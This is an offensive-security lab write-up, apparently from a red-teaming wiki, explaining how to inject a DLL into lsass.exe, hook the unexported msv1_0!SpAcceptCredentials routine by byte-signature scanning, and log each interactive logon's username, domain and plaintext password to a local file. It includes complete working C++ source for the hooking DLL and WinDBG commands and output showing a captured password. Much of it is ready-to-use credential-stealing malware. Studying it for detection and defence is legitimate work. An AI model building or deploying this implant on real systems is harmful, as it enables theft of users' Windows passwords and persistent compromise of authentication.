✍️
Red Teaming Experiments
  • What is this iRed.team?
  • Pinned
    • Pentesting Cheatsheets
      • SQL Injection & XSS Playground
    • Active Directory & Kerberos Abuse
      • From Domain Admin to Enterprise Admin
      • Kerberoasting
      • Kerberos: Golden Tickets
      • Kerberos: Silver Tickets
      • AS-REP Roasting
      • Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled
      • Kerberos Unconstrained Delegation
      • Kerberos Constrained Delegation
      • Kerberos Resource-based Constrained Delegation: Computer Object Take Over
      • Domain Compromise via DC Print Server and Kerberos Delegation
      • DCShadow - Becoming a Rogue Domain Controller
      • DCSync: Dump Password Hashes from Domain Controller
      • PowerView: Active Directory Enumeration
      • Abusing Active Directory ACLs/ACEs
      • Privileged Accounts and Token Privileges
      • From DnsAdmins to SYSTEM to Domain Compromise
      • Pass the Hash with Machine$ Accounts
      • BloodHound with Kali Linux: 101
      • Backdooring AdminSDHolder for Persistence
      • Active Directory Enumeration with AD Module without RSAT or Admin Privileges
      • Enumerating AD Object Permissions with dsacls
      • Active Directory Password Spraying
  • offensive security
    • Red Team Infrastructure
      • HTTP Forwarders / Relays
      • SMTP Forwarders / Relays
      • Phishing with Modlishka Reverse HTTP Proxy
      • Automating Red Team Infrastructure with Terraform
      • Cobalt Strike 101
      • Powershell Empire 101
      • Spiderfoot 101 with Kali using Docker
    • Initial Access
      • Password Spraying Outlook Web Access: Remote Shell
      • Phishing with MS Office
        • Phishing: XLM / Macro 4.0
        • T1173: Phishing - DDE
        • T1137: Phishing - Office Macros
        • Phishing: OLE + LNK
        • Phishing: Embedded Internet Explorer
        • Phishing: .SLK Excel
        • Phishing: Replacing Embedded Video with Bogus Payload
        • Inject Macros from a Remote Dotm Template
        • Bypassing Parent Child / Ancestry Detections
        • Phishing: Embedded HTML Forms
      • Phishing with GoPhish and DigitalOcean
      • Forced Authentication
      • NetNTLMv2 hash stealing using Outlook
    • Code Execution
      • T1117: regsvr32
      • T1170: MSHTA
      • T1196: Control Panel Item
      • Executing Code as a Control Panel Item through an Exported Cplapplet Function
      • Code Execution through Control Panel Add-ins
      • T1191: CMSTP
      • T1118: InstallUtil
      • Using MSBuild to Execute Shellcode in C#
      • T1202: Forfiles Indirect Command Execution
      • Application Whitelisting Bypass with WMIC and XSL
      • Powershell Without Powershell.exe
      • Powershell Constrained Language Mode ByPass
      • Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse
      • T1216: pubprn.vbs Signed Script Code Execution
    • Code & Process Injection
      • CreateRemoteThread Shellcode Injection
      • DLL Injection
      • Reflective DLL Injection
      • Shellcode Reflective DLL Injection
      • Process Doppelganging
      • Loading and Executing Shellcode From PE Resources
      • Process Hollowing and Portable Executable Relocations
      • APC Queue Code Injection
      • Early Bird APC Queue Code Injection
      • Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert
      • Shellcode Execution through Fibers
      • Shellcode Execution via CreateThreadpoolWait
      • Local Shellcode Execution without Windows APIs
      • Injecting to Remote Process via Thread Hijacking
      • SetWindowHookEx Code Injection
      • Finding Kernel32 Base and Function Addresses in Shellcode
      • Executing Shellcode with Inline Assembly in C/C++
      • Writing Custom Shellcode Encoders and Decoders
      • Backdooring PE Files with Shellcode
      • NtCreateSection + NtMapViewOfSection Code Injection
      • AddressOfEntryPoint Code Injection without VirtualAllocEx RWX
      • Module Stomping for Shellcode Injection
      • PE Injection: Executing PEs inside Remote Processes
      • API Monitoring and Hooking for Offensive Tooling
      • Windows API Hooking
      • Import Adress Table (IAT) Hooking
      • DLL Injection via a Custom .NET Garbage Collector
      • Writing and Compiling Shellcode in C
      • Injecting .NET Assembly to an Unmanaged Process
    • Defense Evasion
      • AV Bypass with Metasploit Templates and Custom Binaries
      • Evading Windows Defender with 1 Byte Change
      • Bypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon Sessions
      • Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs
      • Windows API Hashing in Malware
      • Detecting Hooked Syscalls
      • Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs
      • Retrieving ntdll Syscall Stubs from Disk at Run-time
      • Full DLL Unhooking with C++
      • Enumerating RWX Protected Memory Regions for Code Injection
      • Disabling Windows Event Logs by Suspending EventLog Service Threads
      • T1027: Obfuscated Powershell Invocations
      • Masquerading Processes in Userland via _PEB
      • Commandline Obfusaction
      • File Smuggling with HTML and JavaScript
      • T1099: Timestomping
      • T1096: Alternate Data Streams
      • T1158: Hidden Files
      • T1140: Encode/Decode Data with Certutil
      • Downloading Files with Certutil
      • T1045: Packed Binaries
      • Unloading Sysmon Driver
      • Bypassing IDS Signatures with Simple Reverse Shells
      • Preventing 3rd Party DLLs from Injecting into your Malware
      • ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG)
      • Parent Process ID (PPID) Spoofing
      • Executing C# Assemblies from Jscript and wscript with DotNetToJscript
    • Enumeration and Discovery
      • Windows Event IDs and Others for Situational Awareness
      • Enumerating COM Objects and their Methods
      • Enumerating Users without net, Services without sc and Scheduled Tasks without schtasks
      • Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging
      • Dump GAL from OWA
      • T1010: Application Window Discovery
      • T1087: Account Discovery & Enumeration
      • Using COM to Enumerate Hostname, Username, Domain, Network Drives
      • Detecting Sysmon on the Victim Host
    • Privilege Escalation
      • T1134: Primary Access Token Manipulation
      • Windows NamedPipes 101 + Privilege Escalation
      • T1038: DLL Hijacking
      • T1108: WebShells
      • T1183: Image File Execution Options Injection
      • Unquoted Service Paths
      • Pass The Hash: Privilege Escalation with Invoke-WMIExec
      • Environment Variable $Path Interception
      • Weak Service Permissions
    • Credential Access & Dumping
      • Dumping Credentials from Lsass Process Memory with Mimikatz
      • Dumping Lsass Without Mimikatz
      • Dumping Lsass without Mimikatz with MiniDumpWriteDump
      • Dumping Hashes from SAM via Registry
      • Dumping SAM via esentutl.exe
      • Dumping LSA Secrets
      • Dumping and Cracking mscash - Cached Domain Credentials
      • Dumping Domain Controller Hashes Locally and Remotely
      • Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy
      • Network vs Interactive Logons
      • Reading DPAPI Encrypted Secrets with Mimikatz and C++
      • T1214: Credentials in Registry
      • T1174: Password Filter
      • Forcing WDigest to Store Credentials in Plaintext
      • Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching Lsass
      • Intercepting Logon Credentials via Custom Security Support Provider and Authentication Packages
      • Pulling Web Application Passwords by Hooking HTML Input Fields
      • Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials
      • Credentials Collection via CredUIPromptForCredentials
    • Lateral Movement
      • T1028: WinRM for Lateral Movement
      • WinRS for Lateral Movement
      • T1047: WMI for Lateral Movement
      • T1076: RDP Hijacking for Lateral Movement with tscon
      • T1051: Shared Webroot
      • T1175: Lateral Movement via DCOM
      • WMI + MSI Lateral Movement
      • Lateral Movement via Service Configuration Manager
      • Lateral Movement via SMB Relaying
      • WMI + NewScheduledTaskAction Lateral Movement
      • WMI + PowerShell Desired State Configuration Lateral Movement
      • Simple TCP Relaying with NetCat
      • Empire Shells with NetNLTMv2 Relaying
      • Lateral Movement with Psexec
      • From Beacon to Interactive RDP Session
      • SSH Tunnelling / Port Forwarding
      • Lateral Movement via WMI Event Subscription
      • Lateral Movement via DLL Hijacking
      • Lateral Movement over headless RDP with SharpRDP
      • ShadowMove: Lateral Movement by Duplicating Existing Sockets
    • Persistence
      • DLL Proxying for Persistence
      • T1053: Schtask
      • T1035: Service Execution
      • T1015: Sticky Keys
      • T1136: Create Account
      • T1013: AddMonitor()
      • T1128: NetSh Helper DLL
      • T1084: Abusing Windows Managent Instrumentation
        • WMI as a Data Storage
      • Windows Logon Helper
      • Hijacking Default File Extension
      • Persisting in svchost.exe with a Service DLL
      • Modifying .lnk Shortcuts
      • T1180: Screensaver Hijack
      • T1138: Application Shimming
      • T1197: BITS Jobs
      • T1122: COM Hijacking
      • T1198: SIP & Trust Provider Hijacking
      • T1209: Hijacking Time Providers
      • T1130: Installing Root Certificate
      • Powershell Profile Persistence
      • RID Hijacking
      • Word Library Add-Ins
      • Office Templates
    • Exfiltration
      • Powershell Payload Delivery via DNS using Invoke-PowerCloud
  • reversing, forensics & misc
    • Windows Internals
      • Configuring Kernel Debugging Environment with kdnet and WinDBG Preview
      • Compiling a Simple Kernel Driver, DbgPrint, DbgView
      • Loading Windows Kernel Driver for Debugging
      • Subscribing to Process Creation, Thread Creation and Image Load Notifications from a Kernel Driver
      • Listing Open Handles and Finding Kernel Object Addresses
      • Sending Commands From Your Userland Program to Your Kernel Driver using IOCTL
      • Windows Kernel Drivers 101
      • x64 Calling Convention: Stack Frame
      • System Service Descriptor Table - SSDT
      • Interrupt Descriptor Table - IDT
      • Token Abuse for Privilege Escalation in Kernel
      • Manipulating ActiveProcessLinks to Hide Processes in Userland
      • ETW: Event Tracing for Windows 101
      • Exploring Injected Threads
      • Parsing PE File Headers with C++
      • Instrumenting Windows APIs with Frida
      • Exploring Process Environment Block
    • Cloud
      • AWS Accounts, Users, Groups, Roles, Policies
    • Neo4j
    • Dump Virtual Box Memory
    • AES Encryption Using Crypto++ .lib in Visual Studio C++
    • Reversing Password Checking Routine
Powered by GitBook
On this page
  • Overview
  • Loading msv1_0 Debugging Symbols
  • Inspecting SpAcceptCredentials Arguments
  • Signaturing SpAcceptCredentials
  • HUH - Hooking: Under the Hood
  • Demo
  • SymFromName
  • Code
  • References

Was this helpful?

  1. offensive security
  2. Credential Access & Dumping

Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials

Hooking, Credential Stealing

PreviousPulling Web Application Passwords by Hooking HTML Input FieldsNextCredentials Collection via CredUIPromptForCredentials

Last updated 4 years ago

Was this helpful?

This lab was inspired by and his great post - definitely go read it if you haven't.

In this lab I am going to write a simple DLL that, when injected into lsass.exe, will install a hook for msv1_0.SpAcceptCredentials routine, intercept logon credentials and write them out to disk.

The purpose of this lab was for me to play around with:

  • API hooking + intercepting logon credentials

  • Programatically searching process memory space for byte patterns

  • Ghidra / WinDBG

Not an OPSEC safe technique. Can be flagged for at least the following:

  • LSASS loading unusual DLLs

  • WriteProcessMemory API usage

Overview

Below is a high level overview of the lab and technique implementation:

  • LSASS has the Authentication Package module loaded in its memory space

  • MSV1_0.dll is responsible for handling interactive logons

  • SpAcceptCredentials inside MSV1_0.dll is called by the system when a user successfully authenticates interactively (i.e logon types 2, 10)

  • SpAcceptCredentials is passed clear text credentials

  • If we can hook the SpAcceptCredentials, we can intercept those credentials

  • SpAcceptCredentials is not an exported function in the MSV1_0.dll, so we cannot use GetProcAddress to find its location in lsass process memory

  • In order to find SpAcceptCredentials in memory, we will need to:

    • signature it

    • scan lsass.exe memory space (actually, for simplicity, just the range of msv1_0.baseOfImage - msv1_0.sizeOfImage) for that signature

  • Once SpAcceptCredentials signature is found, we will hook it by redirecting the original SpAcceptCredentials to our rogue function hookedSpAccecptedCredentials

  • hookedSpAccecptedCredentials, once called, will:

    1. Intercept the logon credentials and write them out to disk

    2. Unhook SpAcceptCredentials, so that the original SpAcceptCredentials can be called later, so that a user can successfully authenticate and get its logon session created without crashing lsass.exe

    3. Reinstall the hook hookedSpAccecptedCredentials by starting a new thread that will execute with a delay of a couple of seconds. Delay is there to allow for the original SpAcceptCredentials to finish executing before it gets patched again, otherwise we would end up in a never ending cycle where SpAcceptCredentials would be jump to hookedSpAccecptedCredentials and hookedSpAccecptedCredentials would call SpAcceptCredentials as required in the step 4

    4. Call the original SpAcceptCredentials with intercepted credentials so that the system can complete the user authentication / logon session creation successfully

Loading msv1_0 Debugging Symbols

First of, let's see if we can hit the breakpoint on msv1_0!SpAcceptCredentials. For this, let's jump WinDBG and sort load the symbols for msv1_0 module if they are missing.

Let's find the EPROCESS structure for the lsass.exe:

!process 0 0 lsass.exe

We can now switch the WinDBG to lsass.exe process's context:

.process /i /p /r ffffda8291281080

Listing modules loaded by lsass with command lm shows that we do not have symbols for msv1_0.dll loaded:

...although the module itself is loaded:

Let's load the missing symbols:

.reload /f /i msv1_0.dll
lm

We can confirm the symbols are now loaded:

Let's now set a breakpoint for msv1_0!SpAcceptCredentials:

bp msv1_0!SpAcceptCredentials

Finally, let's see if we can hit the breakpoint by trying to authenticate for a new logon session with a runas command:

While we are at it, let's take a look at the start of the msv1_0!SpAcceptCredentials routine before we patch it later - we will be replacing the first 12 bytes (mov rax + 8 byte address to hookedSpAccecptedCredentials routine + jmp rax) of this routine with a jump to our hookedSpAccecptedCredentials routine, that will be intercepting any new credentials passed to it:

Inspecting SpAcceptCredentials Arguments

Once the breakpoint is hit, we can inspect what arguments the SpAcceptCredentials was called with.

Considering that we know the following:

  • On x64, Win APIs use a fastcall calling convention - the first 4 function arguments are passed via registers

    • Password - contains a plaintext password

    • Domain name

    • DownLevelName - user name

...we can now inspect the values and structures passed as shown below:

Note how we can identify the username spotless, domain name - WS02 (my local machine name in this case) and the password in plaintext 123456.

// db r8; dS r8+8; dS r8+8+10; dS r8+8+10+10

msv1_0!SpAcceptCredentials:
0033:00007ffb`95255330 48895c2408      mov     qword ptr [rsp+8],rbx

kd> db r8
0000004b`c507dff0  03 dd 28 00 00 00 00 00-10 00 10 00 00 00 00 00  ..(.............
0000004b`c507e000  20 7a 8f 38 5d 01 00 00-08 00 08 00 00 00 00 00   z.8]...........
0000004b`c507e010  00 7e 8f 38 5d 01 00 00-0c 00 0c 00 00 00 00 00  .~.8]...........
0000004b`c507e020  b0 79 8f 38 5d 01 00 00-00 00 00 00 00 00 00 00  .y.8]...........
0000004b`c507e030  00 00 00 00 00 00 00 00-c0 a0 8e 38 5d 01 00 00  ...........8]...
0000004b`c507e040  01 00 00 0a 00 00 00 00-00 00 00 00 00 00 00 00  ................
0000004b`c507e050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0000004b`c507e060  00 00 00 00 00 00 00 00-08 00 08 00 00 00 00 00  ................

kd> dS r8+8
0000015d`388f7a20  "spotless"

kd> dS r8+8+10
0000015d`388f7e00  "WS02"

kd> dS r8+8+10+10
0000015d`388f79b0  "123456"

Additionally, below shows that the value contained in the register r8 holds a new logon session id that was created as part of a successful authentication via runas command:

Signaturing SpAcceptCredentials

As mentioned earlier, the SpAcceptCredentialsis not exported in the msv1_0 DLL, so we cannot use Windows APIs to resolve its address in memory, therefore we need to find it ourselves by scanning the lsass process memory space.

48 83 ec 20 49 8b d9 49 8b f8 8b f1 48

My msv1_0.dll is from x64 Windows 10, 1809

If we check the msv1_0.dll in Ghidra, we indeed find our signature - 16 bytes into the SpAcceptCredentials function start:

We can also confirm the bytes are present when SpAcceptCredentials breakpoint is hit, as expected:

We will pass this signature later to our memory hunting routine GetPatternMemoryAddress(..., signature, ...) in our DLL, that will be injected into the lsass where it will identify the memory address of SpAcceptCredentials routine inside the lsass.exe process:

HUH - Hooking: Under the Hood

Before we start looking under the hood of lsass.exe, there are a couple of other things to note.

Our compiled and injected DLL will immediately call installSpAccecptedCredentialsHook once lsass.exe loads our malicious DLL with LoadLibrary:

installSpAccecptedCredentialsHook will:

  • wait for 5 seconds before proceeding - as explained earlier - this allows the original SpAccecptedCredentials to be called and finish its execution, before it gets patched again

  • find SpAccecptedCredentials memory address based on the signature discussed earlier - lines 85-86 in the below screenshot

  • read and store the first 12 bytes of SpAccecptedCredentials in memory - these bytes will be used to restore the function to its original state / unpatch it - line 89

  • overwrite the first 12 bytes of SpAccecptedCredentials with a jump to our rogue function hookedSpAccecptedCredentials that will intercept any new user logon credentials - line 92-95

Assuming we've compiled the DLL, let's inject it into lsass. I will simply inject it with Process Hacker:

Let's now have a quick look inside the lsass.exe via WinDBG when msv1_0!SpAcceptCredentials is called.

If we break into lsass, we will see that our module memssp-dll.dll is now loaded - line 23:

// switch to lsass.exe process context
.process /i /p /r ffffab8f6ae0c080

// See lsass loaded modules through the PEB
!peb

kd> !peb
PEB at 0000004dbca27000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            No
    ImageBaseAddress:         00007ff60cfe0000
    NtGlobalFlag:             0
    NtGlobalFlag2:            0
    Ldr                       00007ff9e09e53c0
    Ldr.Initialized:          Yes
    Ldr.InInitializationOrderModuleList: 00000164b4403910 . 00000164b4afd140
    Ldr.InLoadOrderModuleList:           00000164b4403a80 . 00000164b4afd120
    Ldr.InMemoryOrderModuleList:         00000164b4403a90 . 00000164b4afd130
                    Base TimeStamp                     Module
            7ff60cfe0000 d5aefa73 Aug 09 06:19:47 2083 C:\WINDOWS\system32\lsass.exe
            <...cut...>
            7ff9cb390000 5e2cbfd1 Jan 25 22:23:13 2020 \\VBOXSVR\Labs\CreateMiniDump\CreateMiniDump\x64\Release\memssp-dll.dll
    SubSystemData:     0000000000000000
    ProcessHeap:       00000164b4290000
    ProcessParameters: 00000164b4403090
    CurrentDirectory:  'C:\WINDOWS\system32\'
    WindowTitle:  'C:\WINDOWS\system32\lsass.exe'

If we disassemble msv1_0!SpAcceptCredentials, we will notice that the first few bytes of the routine are now different, compared to those we saw earlier before the DLL injection - this confirms the hook was installed:

The first instructions of the hooked function now are:

These instructions came from the below code in our DLL.

mov rax instruction, where rax is the address of our hookedSpAccecptedCredentials:

and jmp rax:

Now, if we remember that our malicious module's memssp-dll.dll base address was 7FF9CB391000h and its size was 5e2cbfd1, it means that our module is mapped in the range [7FF9CB391000h, 7FF9CB391000+5e2cbfd1] => [0x7FF9CB391000, 0x00007ffa`2965cfd1]:

This means that 7FF9CB391000h as seen in the first instruction of the hooked SpAcceptCredentials routine, is part of our malicious module since it falls in the range [0x7FF9CB391000, 0x00007ffa`2965cfd1]:

Moving forward - note that after the trampoline to our rogue function, I've set the breakpoint on instruction rbx, r9 at 7ff9b6955344:

If we hit the breakpoint msv1_0!SpAcceptCredentials and and continue running, we immediately hit that second breakpoint at 7ff9b6955344, however, note that our trampoline mov rax, jmp rax is now gone:

This is because hookedSpAccecptedCredentials (previously stored in rax) unhooked SpAccecptedCredentials by writing back 12 original bytes of SpAccecptedCredentials before it was hooked, to the start of SpAccecptedCredentials (orange) and redirected the code back to the start of SpAccecptedCredentials (lime), so that a new user logon session can be created:

Highlighted in blue is the code that actually intercepts the credentials and writes them to disk. Code in white is responsible for re-hooking the SpAccecptedCredentials in a new delayed thread, so that the originalSpAcceptCredentials can finish executing without crashing the system.

Demo

Below shows how user spotless on a machine WS02 authenticates successfully and its credentials are written to c:\temp\credentials.txt:

Note that msv1_0 exports a function LsaApLogonUserEx2 that we could have hooked to intercept credentials since it is also passed a structure PSECPKG_PRIMARY_CRED when a user attempts to authenticate. This lab, however, was focused on the exercise of finding the required function address by scanning the target process memory rather than resolving it via Windows APIs:

SymFromName

It's possible to resolve the SpAcceptCredentials function address if we have access to debugging symbols like so:

HMODULE targetModule = LoadLibraryA("msv1_0.dll");
PCSTR symbolName = "msv1_0!SpAcceptCredentials";
ULONG64 buffer[(sizeof(SYMBOL_INFO) + MAX_SYM_NAME * sizeof(TCHAR) + sizeof(ULONG64) - 1) /    sizeof(ULONG64)] = {};
PSYMBOL_INFO symbol = (PSYMBOL_INFO)buffer;
symbol->SizeOfStruct = sizeof(SYMBOL_INFO);
symbol->MaxNameLen = MAX_SYM_NAME;
SymSetOptions(SYMOPT_EXACT_SYMBOLS);
SymInitialize(GetCurrentProcess(), "C:\\programdata\\dbg\\sym", TRUE);
SymFromName(GetCurrentProcess(), symbolName, symbol);

Code

SpAcceptCredentialsHook.dll
#include "stdafx.h"
#include <iostream>
#include <Windows.h>
#define SECURITY_WIN32
#include <Sspi.h>
#include <ntsecapi.h>
#include <ntsecpkg.h>

using _SpAcceptCredentials = NTSTATUS(NTAPI *)(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials);
char startOfPatternSpAccecptedCredentials[] = { 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0xf1, 0x48 };
char bytesToPatchSpAccecptedCredentials[12] = { 0x48, 0xb8 };
PVOID patternStartAddressOfSpAccecptedCredentials = NULL;
PVOID addressOfSpAcceptCredentials = NULL;
char bytesToRestoreSpAccecptedCredentials[12] = { 0 };
void installSpAccecptedCredentialsHook();

PVOID GetPatternMemoryAddress(char *startAddress, char *pattern, SIZE_T patternSize, SIZE_T searchBytes)
{
    unsigned int index = 0;
    PVOID patternAddress = NULL;
    char
        *patternByte = 0,
        *memoryByte = 0;
    do
    {
        if (startAddress[index] == pattern[0])
        {
            for (size_t i = 1; i < patternSize; i++)
            {
                *(char *)&patternByte = pattern[i];
                *(char *)&memoryByte = startAddress[index + i];

                if (patternByte != memoryByte)
                {
                    break;
                }

                if (i == patternSize - 1)
                {
                    patternAddress = (LPVOID)(&startAddress[index]);
                    return patternAddress;
                }
            }
        }
        ++index;
    } while (index < searchBytes);

    return (PVOID)NULL;
}

NTSTATUS NTAPI hookedSpAccecptedCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
    DWORD bytesWritten = 0;
    HANDLE file = CreateFileW(L"c:\\temp\\credentials.txt", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, NULL, NULL);
    _SpAcceptCredentials originalSpAcceptCredentials = (_SpAcceptCredentials)addressOfSpAcceptCredentials;

    // intercept credentials and write them to disk
    WriteFile(file, PrimaryCredentials->DownlevelName.Buffer, PrimaryCredentials->DownlevelName.Length, &bytesWritten, NULL);
    WriteFile(file, "@", 2, &bytesWritten, NULL);
    WriteFile(file, PrimaryCredentials->DomainName.Buffer, PrimaryCredentials->DomainName.Length, &bytesWritten, NULL);
    WriteFile(file, ":", 2, &bytesWritten, NULL);
    WriteFile(file, PrimaryCredentials->Password.Buffer, PrimaryCredentials->Password.Length, &bytesWritten, NULL);
    CloseHandle(file);

    // unhook msv1_0!SpAcceptCredentials
    WriteProcessMemory(GetCurrentProcess(), addressOfSpAcceptCredentials, bytesToRestoreSpAccecptedCredentials, sizeof(bytesToRestoreSpAccecptedCredentials), NULL);

    // hook msv1_0!SpAcceptCredentials again with a delay so that originalSpAcceptCredentials() can execute
    CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)installSpAccecptedCredentialsHook, NULL, NULL, NULL);

    // call original msv1_0!SpAcceptCredentials
    return originalSpAcceptCredentials(LogonType, AccountName, PrimaryCredentials, SupplementalCredentials);
}

void installSpAccecptedCredentialsHook()
{
    Sleep(1000 * 5);
    HMODULE targetModule = LoadLibraryA("msv1_0.dll");
    DWORD bytesWritten = 0;

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetModule;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader->e_lfanew);
    SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage;

    // find address of msv1_0!SpAcceptCredentials
    patternStartAddressOfSpAccecptedCredentials = (LPVOID)(DWORD_PTR)GetPatternMemoryAddress((char *)targetModule, startOfPatternSpAccecptedCredentials, sizeof(startOfPatternSpAccecptedCredentials), sizeOfImage);
    addressOfSpAcceptCredentials = (LPVOID)((DWORD_PTR)patternStartAddressOfSpAccecptedCredentials - 16);

    // store first sizeof(bytesToRestoreSpAccecptedCredentials) bytes of the original msv1_0!SpAcceptCredentials routine
    std::memcpy(bytesToRestoreSpAccecptedCredentials, addressOfSpAcceptCredentials, sizeof(bytesToRestoreSpAccecptedCredentials));

    // hook msv1_0!SpAcceptCredentials with "mov rax, hookedSpAccecptedCredentials; jmp rax";
    DWORD_PTR addressBytesOfhookedSpAccecptedCredentials = (DWORD_PTR)&hookedSpAccecptedCredentials;
    std::memcpy(bytesToPatchSpAccecptedCredentials + 2, &addressBytesOfhookedSpAccecptedCredentials, sizeof(&addressBytesOfhookedSpAccecptedCredentials));
    std::memcpy(bytesToPatchSpAccecptedCredentials + 2 + sizeof(&addressBytesOfhookedSpAccecptedCredentials), (PVOID)&"\xff\xe0", 2);
    WriteProcessMemory(GetCurrentProcess(), addressOfSpAcceptCredentials, bytesToPatchSpAccecptedCredentials, sizeof(bytesToPatchSpAccecptedCredentials), (SIZE_T*)&bytesWritten);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
        {
            installSpAccecptedCredentialsHook();
        }
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

References

Prototype of the - it accepts 4 arguments

Members of the structure. We are interested in the following:

In order to do it, we need to find a sequence of bytes in the SpAcceptCredentials routine, that uniquely identifies it. Per source code, we can use the following bytes for our signature:

@_xpn_
https://blog.xpnsec.com/exploring-mimikatz-part-2/
MSV1_0.DLL
SpAcceptCredentials
PSECPKG_PRIMARY_CRED
mimikatz's
@_xpn_ - Exploring Mimikatz - Part 2 - SSPXPN InfoSec Blog
Logo
Note that addresses differ due to a reboot
PSECPKG_PRIMARY_CRED structure and SpAcceptCredentials prototype
The signature will be passed on to the routine GetPatternMemoryAddress
routine start before and after the hook was installed